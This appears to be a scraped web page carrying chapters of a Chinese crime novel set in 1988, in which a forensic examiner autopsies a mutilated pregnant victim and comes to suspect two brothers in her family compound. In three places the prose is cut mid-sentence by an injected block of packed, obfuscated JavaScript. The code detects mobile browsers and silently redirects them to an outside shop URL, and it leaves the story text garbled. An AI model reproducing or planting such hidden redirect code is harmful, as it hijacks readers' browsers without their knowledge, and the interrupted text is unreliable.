她还没说话,何桂花却慌忙补充:“也不清闲,警察编制,坐办公室帮着查案的,你看这才分配过去就忙得不行。天天,快别说闲话了,赶紧屋里洗洗去,大热天的。” 吴婶子还不甘心:“桂花,你这话说的,到底是警察还是法医啊?天天,我不是打听你们怎么办案,我就是听说公园那人都泡肿了,你到底见没见啊。” 何桂花没好气地说:“我说你也是闲的,说这干吗?还让不让人吃饭了?不是说锅里炖着鸡呢吗?也不怕熬干了?” 吴婶子这才想起来,着急忙慌地走了。 许天先回自己房间洗了脸,这才去正房,正房是三间里最大的一间,也是老爸老妈的卧室,外边是厨房兼客厅,里边隔了个小间给小弟睡。 饭已经好了,小弟小妹也都放学回来了,只老爸不在。 “你爸替别人的班,要上到八点,别等他了,吃吧。” 何桂花说着把一盘子葱花饼放到桌上。 许天给大家盛了汤,刚坐下,就见老妈看着自己,张张嘴,欲言又止的样子。 她无奈道:“妈,你想说什么?我这工作挺好的,你放心,等我分到宿舍马上搬出去。我不在,他们就不会多问了。” “瞎说什么呢?他们爱问就问,等你跟小浩结了婚,看谁还能说闲话。” 许天皱眉,斟酌着用词,“我们不会那么快结婚,八字还没一撇呢,就是先谈谈,万一不合适……” “有什么不合适的,合适得很。工作的事我不管你了,婚事你要再给我搞砸了,看我怎么收拾你。” 何桂花绷着脸,十分认真,许天也不敢再说什么,拿了葱花饼默默吃起来。 感情的事谁说得准,走一步看一步吧。 何家晚上吃得清淡,一个大葱炒土豆丝一个鸡蛋汤,都少盐无味十分健康,也就葱花饼还有个味,许天觉得自己吃块饼喝点水就行了,可汤都盛好了。 她刚用筷子把鸡蛋汤里的香菜挑出来,何桂花就说:“不许挑食!” 许天忍不住了:“妈,谁家西红柿鸡蛋汤里放香菜啊!还放这么多?” “咱家啊,不好喝吗?” 两小只马上捧场,小弟:“好喝!” 小妹:“特别好喝。” 许天抽抽嘴角,心说那是你们没吃过外边的饭。 她正跟香菜斗争,外边传来何俊杰的声音:“天天,快出来,你单位来人找你!” 14. 河底沉骨14 许天还以为自己听错了,都下班了,单位的人怎么会跑来家里找她。 等她出去一看,还真是胡东,他站在院子里正往里张望,见她出来就说: “小许,出了点情况,宁队让我通知你,可你们这儿电话打不通啊。我正好在附近,就过来看看。走吧,车在外边等着呢。” 许天答应着,正要回头跟何桂花说一声,就见何桂花沉着脸说:“这又是谁用门房的电话聊起来了?不然怎么会打不通。” 显然她不想让许天单位的人到家里来,许天也没辙,看来还是得早点去住宿舍,有什么事找她也方便。 何桂花虽然不喜欢女儿的工作,但对胡东很热情,“辛苦了,这么晚还加班,要不进来坐坐。” 胡东有些不好意思:“不用了,阿姨,我们忙着呢。您放心,等忙完了,我就把小许送回来。” “那行,你们路上小心点。” 隔壁吴婶子听见动静,又探头出来,见许天跟着一个陌生男人出去了,就跑过来问何桂花:“怎么小许又换对象了?” 何桂花恨不得把她嘴堵上,怎么这么烦人呢。 胡东已经走远了,但还是听见了个话音,他更不好意思了,“小许,不会给你添麻烦吧。也是我欠考虑,主要事出的急,我也没顾上多想。” 许天其实已经无所谓了,吴婶子这人,大院的人都不怎么待见她,可她脸皮够厚,根本不在意别人的嫌弃,一直行走在八卦第一线。 没八卦,她自己也恨不得创造点八卦出来,所以她的话也没几个人信,再说信了又如何,她这都是工作上的事,又没做出格。 “没事,那位阿姨就是碎嘴,不用理会。胡队,出什么事了?案子有进展?” 胡东叹口气:“找到米凤仙的尸体了,情况有点复杂,宁队叫你过去看看。” 两人上了车,胡东开车直接去殡仪馆。 许天好奇问道:“复杂是什么意思?她的尸体在同一个抛尸地吗?昨天怎么没找到?” “也是在河边但不是绿营公园,在小庄村那边,都快出市了。死者虽然衣服整齐,但捞上来的时候肚子还是露了出来,我们发现死者腹部做过手术,不清楚是生前还是死后做的,这才大晚上把你叫过去。” 许天傻了,“米凤仙不是怀孕了吗?腹部做过手术是什么意思?她装怀孕?” “肚子上有缝线!” “啊?她的肚子被人剖开又缝上了?” 胡东微微点头:“应该是这样!” 许天真想破口大骂,“看来这是个有特殊癖好的变态杀人狂,也就是说米凤仙掉水里可能没死,被人救起来后又被折磨残死,再接着扔到水里?” 胡东苦着脸道:“就怕是这样,现在案情越来越复杂了。而且米凤仙应该是今天被杀害抛尸的,这简直是在挑衅。” 殡仪馆这次换了上次的李叔接待,他很专业,还跟许天吐槽道:“其实我早发现小周有问题,之前有个死者家属说忘了摘她妈手上的戒指,想留个纪念,结果尸体手上已经没了。我当时还有印象,是个挺薄的金戒指,也值不了几个钱,这事我帮的忙,但是周州处理的,按规定他要问一下家属,衣服要不要换,身上的东西是要一起烧还是留下来。既然人家找过来了,那他肯定没问啊,还说是搬尸体的时候丢了,家属也没办法。” 许天没想到周州居然还手脚不干净,“确定是他吗?是不是不小心掉在哪里了?” 尸体僵硬时往裹尸袋里装很费劲,还真有可能碰掉。 李叔哼了一声:“人家那女的手上都戴出印子来了,又不是松松垮垮的,怎么可能随便就掉了。不过当时糊弄过去了,不提也罢。小许啊,你这事干得漂亮,就得举报他,什么东西。” 许天想到拦路的郑小冬,觉得他们应该是臭味相投,只是不知道周州会不会也把这事记恨到她头上。 李叔以后负责跟刑侦队这边联系,他干脆给了许天一套钥匙,“以后来了在门口给我打声招呼就行,你该往这儿放的东西就存到柜子里,当自己办公室吧。” 许天道过谢,进了解剖室,就见宁越在外边的隔间里眉头紧锁,定定地看着对面的墙,像是在发呆。 她刚要说话,胡东跟在后边进来,伸手在宁越眼前挥了挥:“老大,入定了?小许来了,咱们一起看看尸体吧。” 宁越回过神来,冲许天笑笑:“来了?我想案子呢,目前看来张猛的话可能是真的,真凶另有其人,绿营公园那具尸体应该也是被害人。” 许天一边穿白大褂,一边往里看:“这具是谁发现的?是咱们局里的,还是巡逻的民警?不会又是钓鱼的吧。” “队里的刑侦员发现的,我让他们领着河工带着潜水员,坐小船顺着河往下找,结果在小庄村桥洞下边浮着呢,身上有绳子。看痕迹应该是被绑了石头,凶手想把尸体沉下去,结果绑得太松,石头沉了,人浮了上来。” 许天突然想到之前的那两具上肢骨,“如果沉下去了,大概等白骨化才有可能被发现,甚至可能永远不见天日。” 胡东无奈道:“这河虽然不宽,但想整个搜查一遍也有难度。” 宁越说:“说句实话,要是把尸体沉到河底,十几年二十几年后再发现,也没法查了啊。不过咱们刚在河里发现了尸体,这人还敢往里扔,胆子也是够肥的。” 三人进了里间,宁越看着解剖床上的尸体叹口气:“这位虽然品行上有些问题,可也不是坏人,太惨了!我怕她是被活生生掏了孩子。” 许天皱眉:“她才怀孕几个月?孩子恐怕还没成形吧。” 胡东指指尸体,“肚子挺大的。” 许天揭开盖尸布,果真发现尸体腹部隆起,像是怀了四五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263336|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个月,可她褪下死者衣服,发现她腹部皮肤光滑紧致,肚子正中间一条长长的缝线像是要裂开来,而且这长度居然从胸窝到耻骨附近。 她不由皱眉:“凶手如果是为了孩子,那他肯定没有医学常识,根本不知道子宫在哪个位置。从刀口痕迹看,他先划开了上腹部。” 宁越看着长长的刀口无奈道:“如果真是想找孩子,那他不只没有医学常识,智商还可能有问题,一般人都知道那里是胃吧。” 许天戴好手套开始拆线,宁越在一边打下手:“是鱼线,我看到时就让大家去查附近的钓鱼佬,尤其是之前发现尸体的那位,不过他应该没什么问题。” 刀口缝得粗糙,很容易拆下来,但给死者开刀的人不够专业,刀口乱七八糟。 许天轻手轻脚,像是生怕惊扰了死者。 宁越跟胡东也不由肃穆起来。 线拆到一半,许天已经看到了里边的东西,她倒吸一口冷气,“宁队,这人绝对是个变态,也许是反社会人格。拿人命取乐,会用活人研究人体构造的那种变态。” 她说得咬牙切齿,宁越探身往里看了眼,不由愣住:“那是个玩偶吗?” 胡东傻了眼:“什么东西?把孩子掏出来,塞了个玩偶进去?我的天哪,这凶手恐怕是个精神病吧,怎么想的?” 宁越冷然道:“别侮辱精神病,大部分精神病只会伤害自己,他就算有精神疾病也不是主因,小许说得对,这人绝对是反社会人格。” 那玩偶是只灰色的小熊,取出来有上臂那么长,胡乱被塞进米凤仙肚子里,屋里三人都被这种变态程度震惊。 本来可爱的小熊玩偶在这样的氛围下都带着一股子阴森劲,让人感觉瘆得慌。 许天把玩偶取出来,又认真帮着死者把内脏复位,顺便检查一下有没有丢失,等她检查到骨盆时,不由傻了,“孩子还在,他划开了子宫,但没取走孩子。” 宁越拿着相机的手都颤了颤,许天也觉得太残忍了,改口道:“不是孩子,是三个月左右的胎儿。” 她尽量把子宫展示出来,“这是胎盘这是脐带,这团血肉就是胎儿。” 胡东忍住恶心,皱眉道:“凶手这是想干什么?强行给孩子送了个玩具?” 许天一愣,这脑回路也太惊悚了。 她见宁越拍好了照片,又把器官复位,忍不住猜测道:“也许他听说米凤仙是孕妇,就想找到胎儿,可他根本不知道三个月的胎儿只有这么小,在肚子里没找到孩子,于是就恼羞成怒给死者塞了个玩偶。” 宁越面色沉重:“我从警七年,还以为自己见多识广,果然只有更变态没有最变态。” 他说着放下相机,一边摘口罩一边说:“小许,你跟胡东先验尸,我得去找贺局长,今晚就得发协查令,豫北市公安系统都得动起来,必须尽快找到这个恶魔。” 15. 河底沉骨15 宁越带着人匆匆离开,许天把死者皮肤上残存的指纹提取下来。 一般的指纹在水里浸泡后会变淡甚至消失,但凶手剖开米凤仙腹部时碰到了脂肪层,手指上有油,缝合时又要用力,缝合的刀口附近就残留下了清晰的指纹,虽然浸泡过,但有几枚还是清晰可见。 她又把死者指甲缝里都检查一遍,头发中,嘴里,能检查的都查了一遍,没什么发现。 胡东留下来陪她,他给她打下手,不时感慨着:“你说怎么会有这种变态?这孩子太可怜了,投错了胎,先是张猛想杀了孩子跟孩子妈,命大没死又遇上这种变态。” 许天没接他的茬,面无表情地叙述着:“死亡原因不是溺亡也不是窒息,从刀口的痕迹来看,凶手是在她活着的时候动的手。” 胡东更是骇然,“也就是说她被救上来,还被凶手带走,然后凶手活生生把她开了膛?妈的,别让我找到他,不然我非得把他……” 他及时想起自己的身份,懊恼地叹口气,“一定得找到这个混蛋,太他妈的变态了。连孕妇都杀,可怜了肚子里的孩子,还没见过天日,唉。” 许天诧异地看他一眼,刑侦队的副队长怎么这么情绪化?不过这案子确实令人难以接受。 她叹口气,努力把自己的情绪剥离开:“只是三个月的胚胎,还不是孩子。” “三个月都快成形了吧,虽然小小的一团,但也是孩子啊,我说你们当医生的都这么冷血吗?” 许天皱眉:“那你在这儿哀悼半天有用吗?对案件中的人或事投入过多感情,只会影响自己的判断力,还会让负面情绪不停累积,影响自己的精神状态。我说胡队长,你能不能专业点?要不你就把小李找来帮我,你去帮宁队查案,别在这儿跟祥林嫂一样啰嗦了。” 胡东苦笑:“好吧,道理我都懂,就是这案子吧,太瘆人了。你说凶手到底怎么想的,怎么能……” 他看了眼证物袋里的玩偶,长叹一声,没再说下去。 许天把死者尸体检查一遍,换了手套,又拿起那个玩偶检查,“有些人自带变态基因,受害人的挣扎喊叫反而会让他们兴奋,觉得自己有掌控力,不过把玩偶塞进肚子里,确实不像是变态杀手会干的事,他们更喜欢分割展示。” 胡东忙道:“所以你也觉得凶手有精神问题?” “没找到他之前,谁敢断定啊!” 许天把玩偶检查一遍,外边已经脏污的不成样子,下边有个短短的拉链,里边是劣质的棉絮,看着也很脏,“这玩偶应该很旧了。” 胡东终于有点副队长的样子了,他分析道:“难道凶手家有孩子?玩这种小熊玩偶的应该是女孩吧?还是说凶手童心未泯?不管怎样,能买这种玩偶放在家里的人家,条件应该不差。” 八八年,还没到下岗的时候,家里双职工的都过得不错,但人们节俭意识还是很浓,给孩子吃的穿的没问题,但买玩具买玩偶的,在小地方还是很少见,所以胡东才说买这东西,家里条件不差。 许天见玩偶上没什么发现,刚要放下,突然看到玩偶背部残留的一小截子线头。 灰色的玩偶白色的线头,不仔细看,还真发现不了。 她把玩偶放到桌上,拉起那截子线头,“不像是破了缝补的,倒像是往里边放了什么东西,可下边明明有拉链可以拉开,为什么要把这里剪开?为了放在小熊的胸口?” 她干脆把线头轻轻挑开,里边还真放着东西,是个裹在棉絮里的小铁盒。 胡东又在一边开始啰嗦:“我的天哪,这玩意不会跟巫术有关系吧,怎么还有盒子?小许,你小心点。” 许天见他一惊一乍的,也没搭理他,把盒子取出来,轻轻打开,里边居然是个平安符。 黄底黄面,薄薄的一小张纸,背面还写着两行小字,字下边按着两个红手印。 她激动地拿起来想看清楚,结果上边只是一些保平安的话,“胡队,被你误导了,我还以为这上边会写上小熊主人的名字和生辰八字。” 胡东乐了,“我也这么想的,居然没有?这就更奇怪了,把平安符放进玩偶小熊里干什么?保佑的是谁?” 他说着拿过平安符想细看,然后惊讶道:“这个符下边好像还有小字,太小了,像蚂蚁一样。” 许天凑过去看了眼,皱眉道:“我刚才还以为是符上的花纹,居然是字?” 她的工具箱里齐全得很,马上翻出放大镜把字放大,然后她跟胡东都傻了,上面居然都是些转运的话,还有什么‘驱邪缚魅,保命护身’,‘智慧明净,心神安宁’。 许天念出来:“三魂永久,魄无丧倾?这是什么意思?用来招魂的吗?” 胡东看了眼解剖床上的尸体,又看了眼放大镜下的符咒,不由打了个冷战,“妈的,难不成碰上邪|教了?” 许天也有这种感觉,虽然这些话听起来好像都是好的,但这东西放在玩偶里,也不写名字,只按了两个手印,现在又连玩偶一起放到了米凤仙的肚子里,实在太古怪了。 她指指上边的两个手印,“等我比对一下,看这手印跟我刚才搜集的是不是一个人的。” 这两个手印十分清晰,红彤彤的,很容易提取。 许天拿出各种工具,提取了平安符,或者该叫转运符上的指纹,又跟尸体上残存的指纹做对比。 她在尸体上一共提取了五枚比较完整的指纹,一一对比后,她皱眉道:“左边这个手印跟其中一枚应该是同一个手指的指纹,但符上的指纹同比缩小了有一点五毫米左右。” 胡东愣住:“什么意思?所有这些指纹都是一个人的吗?” 许天无奈道:“只能确定有两枚相似。” 她见胡东皱眉,就解释道:“怎么说呢,每个指纹都是独一无二的,我虽然在尸体上提取了五枚指纹,但不能确定它们属于一个人还是两个人,或者多人。只能按照指纹提取的位置推测这是凶手在缝合刀口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263337|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时留下来的。而符上的这两个手印,按道理来说应该是两个人的,一个人没必要用不同手指按两次。” 胡东明白了,马上接着道:“而且这不是平安符而是转运符,看那些文字,还不是普通的转运,而是把恶运转到另一个人身上,所以符上的指纹应该是两个人的,相当于立了契约。” “没错,目前来看,死者刀口上的一枚指纹和符上左边的手印应该是一个人的。” “可你怎么又说相似?还说什么同比缩小?” 许天叹口气:“这两枚指纹都没有放大缩小的痕迹,所以我推断,指纹的主人在符上按手印时年龄应该比现在小。” “也就是说几年前凶手在这个符上按下手印并把符放进了小熊玩偶里,现在开始杀人并把玩偶放进女人肚子里。既然手的大小变了,也就是说按这个手印时他应该是未成年人。” 许天点头:“只有这一个解释了,人的指纹如果没有外力摩擦腐蚀,是不会变的,长大后只是同比例扩大。” 她说完,胡东眉头皱得更紧了,“更古怪了,到底是不是邪|教?” 许天给他出主意:“我看你们明天可以拿着符找懂的人看一看,也许能研究出这是从哪儿求来的。” “也好,今天太晚了,我先送你回去。” 许天回家时已经晚上十点了,何桂花又想唠叨,可看女儿一脸疲色,她还是忍住了,“饿不饿?给你把饼热一热?” “不用,我吃不下,明天再说吧。妈,你别管我了,早点休息。” 何桂花其实对案子也挺好奇的,晚上八点多还有民警来一家家走访过,拿着照片询问见没见过,这么重视,看来肯定是大案。 她想打听,但大晚上的,又有点怕,就说:“行,那明天再说吧,你赶紧洗洗睡。” 第二天,许天早早出去在家属院门口买了油条豆浆回来,总算吃了口顺口的饭。 正吃着呢,外边传来宁越的声音:“是小许家吗?” 何佳花一听就知道又是她单位的事,不由沉了脸,低声说:“天天,我说你们单位的人怎么回事,整天跑到家里来找你?生怕别人不知道你是当法医的?” 许天也吓了一跳,能跑到家里来找,证明又有尸体,难道是个连环杀手? 这杀手知道警察在查案,还要一具具抛尸?也太嚣张了吧? “妈,我忙工作,人家顺道用车接一下怎么了?” 她一边说着一边起身往外走,结果这次不是来接她的。 宁越站过道上冲她招手,等她过去才说:“小许,死者身份确认了,是来探亲的外地人,而且是从你们院里出去的,还在你们纺织厂大院住过一晚。这里你熟悉,跟我们一起过去问问情况吧。” 许天一愣,居然查到纺织厂家属院来了? 其实她除了第一排的邻居,对大院里的人并不是很熟悉,可一想到昨天那个符上的两个红手印,她脑海里突然冒出两个人来。 16. 河底沉骨16 许天虽然穿过来时间不长,但有吴婶子这个爱八卦的邻居,家属院有什么动静,她都能知道一二。 虽然吴婶子最近天天打听许天工作的事,但她最关心的是大院里的一对兄弟,这对兄弟父母双亡,弟弟还是领养的,有智力障碍。 两兄弟都是光棍汉,相依为命,听说居委会跟厂里都很关照他们。 哥哥叫范大州,弟弟叫范小康。他们父亲生前是纺织厂的厂长,母亲也在后勤工作,几年前的冬天自己烧炉子,煤气中毒去世。 领养的范小康今年刚满二十岁,范大州已经二十八。 这个年代,二十八就算大龄青年了,还没结婚的少之又少。 吴婶子一直想给范大州介绍对象,可说了几个,人家都嫌弃范小康这个拖油瓶。 范大州舍不得把弟弟送福利院,她就想着先把范小康婚事给解决了,当时何桂花还说了她几句,觉得智力障碍的人没必要结婚生孩子,万一再生个有问题的,那不是造孽吗? 可吴婶子觉得范小康太可怜,居然异想天开地说:“我给他找个有孩子的寡妇,要不就找个村里年纪大点的,让他去倒插门,小康这孩子长得不错又有把子力气,也不是傻到什么都不懂,村里种地的肯定稀罕他。” 何桂花那天还在家里吐槽过吴婶子,说她多管闲事,没有自知之明,都看不出来人家那兄弟俩都特别嫌弃她,总躲着她。 许天其实也有点嫌弃吴婶子那张嘴,也想躲着她,所以对这事印象深刻。 那天何桂花还感叹过范家兄弟的父母真是好人,有个健康聪明的儿子,还领养了一个傻孩子,视如己出。 他们去世后,范大州对这个没血缘关系的弟弟也很照顾,哪怕因为他耽误了自己的婚事也不肯把他送去福利院。 当时许天也觉得这一家子都是大好人,这世上心眼好的人有很多,可像他家这样真的很少见。 做个好事,帮帮别人或是捐个款很简单,十几年如一日照顾智力有问题还没血缘关系的孩子,简直就是圣人。 当时许天也感慨了几句,但现在听说宁越要找的人可能就在大院里,她突然就想到这对兄弟。 范大州上班时都把范小康锁在家里,下班后才会骑着三轮车带着他四处逛逛,就像哄孩子一样。三轮车上还放着个木头箱子,据说里边都是范小康的宝贝。 大家看到兄弟两个骑着三轮出来,也都会善意地打招呼,说范大州不容易,下班还得带着傻弟弟出来玩。 上周许天碰到过一次,当时范大州笑得很腼腆,跟邻居说怕弟弟惹事,只能把他关起来,一整天锁在家里,很心疼他,就带他出去放放风。 还有人打趣范小康,问他箱子里到底有什么宝贝,有没有金元宝。 范小康一般不跟外人说话,只玩自己的。当时他本来坐在箱子上,一听这话立马出溜下来,坐到三轮车上,两手紧紧抱着箱子。 吴婶子就骂那人别吓到孩子。 许天那时刚下班,在门口张望了两眼,她听老妈感慨范大州不容易,又觉得他笑得很假,像在敷衍,看范小康的眼神也没什么温度。 怎么说呢,就是觉得两人关系很奇怪。 当时她还想范大州就算心里烦了傻弟弟,面子上能维持住,能照顾弟弟吃喝拉撒已经很了不起了。 现在再想想,两人的行踪处处透着古怪,只是大家都觉得范大州是在哄傻弟弟,或是可怜或是心疼,没人会探究他们去哪儿了,都干了什么,更没人真去看那个大箱子里到底是什么。 许天这时下意识想到他们两个,自己都吓了一跳,没有任何证据,这话肯定不能跟宁越说,也许是她想太多了吧。 她跟着出来:“宁队,死者是来我们厂里探亲的?他亲戚是谁?知道他出事了吗?” “别急,昨天连夜走访,才总算有了点眉目!正要去他亲戚家。” 宁越说完又礼貌地跟追出来的何桂花打声招呼,“阿姨,真不好意思,正好在你们院里查案,我就顺便叫上小许。” 何桂花见他这么客气,想抱怨的话还是收了回去,这是女儿领导,就算不满也不能明说啊。 她热情地招呼宁越进去坐,见人家要忙,又把人送到甬道口,吴婶子居然稀奇地没出来看热闹。 等何桂花回了屋,宁越才跟许天说:“其实今天只是有针对性地调查走访,用不到你。我是觉得昨天胡东来得太冒失,他跟我说你们这院里碎嘴子的不少,怕人误会你,给你带来不好的影响。这不今天正好要在你们这儿查案,我就说直接把你叫上吧,也让大家看看,找你的都是因为公事。一会儿查完了,咱再一块回局里。” 许天没想到他居然这么细心,不由笑道:“多谢宁队,不过你们多虑了,我们这一排爱说闲话的只那一位,就算你们不来,她也会编排我。” 宁越也笑了:“哈哈,有些老人家没坏心,就是退休了无聊吧。爱说就说,自己行得端坐得正就行了。” 两人说着跟前边的胡东会和,去了后边的独院区。 纺织厂盖家属院时,人还不多,大小的领导都给分了独院。 说是独院,其实面积也不算大,大三间小两间的那种,院子比房子还小,窄窄的,倒是院墙都很高,私密性比较好。 许天听吴婶子说过,范家兄弟两个一直住在这边,当时他们父母死在家里,据说死状很难看,大家都忌讳,没人抢着住刚死过人的房子。 范大州当时已经是厂里的技术员,厂里就让范家兄弟先住着,哪想到这一住就是几年。 她还记得吴婶子无比嫌弃地说,范小康不爱干净,家里脏乱,又是凶宅,领导们都等着盖楼房呢,不爱住这种房子,要不然早让他们腾地方了。 这时她跟着宁越他们往这边走,很想提议去看看范家兄弟,还没等她想出什么理由,胡东一指前边的院子,“就是这家。” 宁越上前敲门,来开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13263338|139850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门的是个穿着短袖衬衣戴眼镜的中年男人。 这人穿戴整齐,戴着手表,看着像是刚要去上班,他纳闷地看着许天几人,判断着他们的身份。 胡东给许天使个眼色,问她认不认识。 许天也不知道这是哪位领导,她默默摇头。 这位领导打量完,才开口道:“你们是哪个单位的?这么早来敲门,是有什么事吗?” 宁越出示了证件,又拿出绿营公园的死者照片:“罗主任,认识他吗?” 被称罗主任的中年男人吓了一跳,他一把夺过照片,认真端详着,又揉了揉眼睛,语气飘忽地说:“这……这不是二奎吗?我小舅子!他这是……我的妈啊,这……这弄错了吧,许是长得像呢。” “有人看见他在七月十一号来过你们家,当时你家没人,他在门口等了很久。他来有什么事,又是什么时候离开的?” 罗主任虽然不敢相信,但看他的反应就知道他已经确认了照片上的死者就是他小舅子,“他来借钱,我这小舅子不成器,每次来,不是借钱就是让我给他找工作,这次说是在村里打了人,人家让他赔钱。” 他懊恼道:“张口就要三百块,我们两口子拿的都是死工资,还有两个孩子要养,哪有钱给他。他死皮赖脸住了一晚,我还以为他要像以前一样赖着不走,哪想到第二天中午他就说已经找到工作,自己就走了。” 宁越问他:“找到什么工作?他没跟你们说吗?” “没有,我当时烦得要命……” 罗主任正说着,路上有骑车上班的跟他打招呼,他抬手应付过去,忙冲宁越做了个请的手势,“几位同志进来说吧,你看这事闹的,我媳妇得哭晕过去。” 宁越也没客气,许天和胡东也跟着进了院子。 小院不大,但收拾得很整齐,还种了两垄菜。 墙上爬满了黄瓜藤,顶花带刺的黄瓜不长不短,正是鲜嫩好吃的时候,十分诱人,许天多看了两眼,不由皱起眉头。 她把宁越一拉,胡东很有眼色,知道她有话说,马上快走两步到前边跟罗主任寒暄。 宁越疑惑地看了许天一眼,“怎么了?你想先回局里?” 他以为许天不耐烦这种调查盘问,哪想到许天指指墙角,低声说:“宁队,最近有人在那里翻过墙,墙上还有血手印。” “血手印?” 宁越吓了一跳,凝目看向她指的方向,只看到黄瓜藤,不过那个位置的叶子好像有点打蔫。 他往那边走了两步,才看到打蔫叶子下的墙面上还真有两个浅浅的淡红色痕迹,旁边还有半个鞋印。 “眼力不错啊!小许!”宁越赞许地朝许天竖起大拇指,“你先在院子里转转,等我们问完了,再搜集这些指纹,顺便查一下隔壁。” 许天知道他是让自己看好现场,点头表示明白。 这时屋里已经传来罗主任妻子撕心裂肺的哭声,宁越叹口气朝里走去。 17. 河底沉骨17 罗主任妻子拿着照片哭得上气不接下气:“这怎么回事?” 她不敢置信地看着宁越:“我弟弟说找到工作了,要先回老家拿行李,在我家吃完饭就走了,他怎么会跳河?警察同志,他不可能跳河,他特别顾家,跟他媳妇感情也很好,生了两个女儿,正准备偷着再生个儿子……“ 现在计划生育抓得很严,罗主任听妻子什么都往外说,不由尴尬地看了眼宁越他们:“应该不是自杀吧,他没理由啊,是不是喝多了,不小心掉进河里?” 他略带嫌弃地说:“这二奎生活习惯很不好,没准跑到河边小便掉下去了。” 他妻子似乎想反驳,但又觉得确实有这种可能,于是泪眼模糊地看着宁越,“警察同志,到底怎么回事?” “他身上没有外伤,溺水窒息而亡,而且跟一些尸骨纠缠在一起,怎么说呢,一般情况下,在那个位置发现的尸体,不太可能是失足掉下去的。” “什么意思?”罗主任问。 “那个位置虽然也在河边,但很隐蔽,是钓鱼的人突发奇想,翻过几棵歪脖大树跑到那里钓鱼,才发现了尸体。那几棵树半截子泡在水里,如果是在河边失足落水会被树杆拦住,所以目前看来有两种可能,一是他被人抛尸到那里,二是他自己游到那里,被水草跟残肢缠住。” “什么残肢?”罗主任妻子更疑惑了。 宁越简单叙述一遍,又问他们,江二奎有没有跟人结仇,临走前说没说过要去哪里工作。 结果两人一问三不知。 罗主任叹口气:“我这小舅子其实就是个混子,在村里有地也不好好种,给他在城里找个活儿也不好好干,整天说一套做一套,我们也就懒得问他,反正总觉得他干不了几天,又得出幺蛾子。” 他妻子听他这么贬低弟弟,不悦反驳,两人拌起嘴,宁越跟胡东对视一眼,都有些无奈。 虽然能确定身份,但还是条死胡同,找不到任何线索。 在院子里等着的许天绕着墙走了一圈,只发现那一处痕迹,再细看地上和墙上的脚印,她判断应该有人翻过去又翻回来了。两枚血手印是翻回来时按到墙上的。 罗主任家有人翻墙去隔壁家,不小心受了伤又翻回来了? 会不会是在他家留宿一晚的妻弟?隔壁又是什么情况? 她的工具箱还在殡仪馆放着,现在也不能取证,但看着这些痕迹,她好奇心越来越重,正好外边有人说话,声音有点熟,好像在哪儿听过。 许天走出门,正看到范家那辆三轮车,范大州正在开锁,范小康坐在箱子上,脸色不是太好看,好像挨训了。 刚才范大州好像说了句‘坐稳了,别瞎闹’。 他闹什么了? 许天一看到他们,雷达马上开启,范家兄弟居然就住在罗主任家隔壁,这是不是说明自己的猜测还是有点道理的? 她主动过去,像熟人一样打招呼,“你们回来了?小康怎么了?不高兴吗?是被哥哥训了?” 范小康抬头看了她一眼,立马垂下头,似乎不敢跟陌生人说话。 倒是范大州笑着打量她:“你是吴婶子隔壁家的天天吧,在这儿干吗呢?” 许天有些诧异,她只在路上碰到过他们兄弟,没正面打过招呼,老爸老妈也跟他家没什么交集,她跟他们都差着岁数呢,小时候也没一块玩过。 厂里这么多人,范大州居然知道她的名字,难道说是因为吴婶子? 她一边观察着他们和那辆三辆车,一边指指身后罗主任家的大门,含糊道:“找罗主任有点事。” 这兄弟两个没有血缘关系,五官长得并不像,但可能相处久了,神态里有那么一丝相似之处。 只听范大州说:“吴婶子才跟我说你当不成医生了,当法医去了,说是在公安局上班?也不错啊。” 果然是因为吴婶子,许天无奈道:“确实不错,而且我一开始学的就是法医学。” 她见他已经打开了大门,还想借开门的空档往里看看,或者找个理由帮他们把车推进去,哪想到范大州并不推门,他不耐烦地指挥着范小康说:“小康,你把车推进去,我也正好找罗主任有点事。” 范小康应了一声利索地从车上跳下来。 范大州往罗主任家走,正好挡在许天面前,“罗主任还没去上班吗?你找他怎么不进去?” 许天皱眉,他是故意遮挡,不想让自己看到他家院子? 可越不给看,她越好奇,于是许天侧过身笑道:“我们队长在里边跟罗主任谈事呢,恐怕你要等一会儿了。对了,你今天不用上班吗?” 范大州愣了下,“哦,我今天是夜班。”他一边说着一边往后退了两步,再次遮挡住许天的视线。 许天瞬间紧张起来,这次应该不是她想太多。 有些人家注重隐私,不喜欢别人往自家院儿里瞧,这很正常,但范大州在这种情况下,不停遮挡视线,显然是车上有东西怕被人发现。 这时范小康已经用三轮车的前轮撞开范家大门,正要往里走。 许天不再犹豫,她绕过范大州,快步走过去:“小康,我来帮你吧。” 她动作迅捷,毫无预兆,范大州一愣,眼眸垂了下来。 许天用眼角余光观察着他的反应,见他沉脸,更觉得有问题。 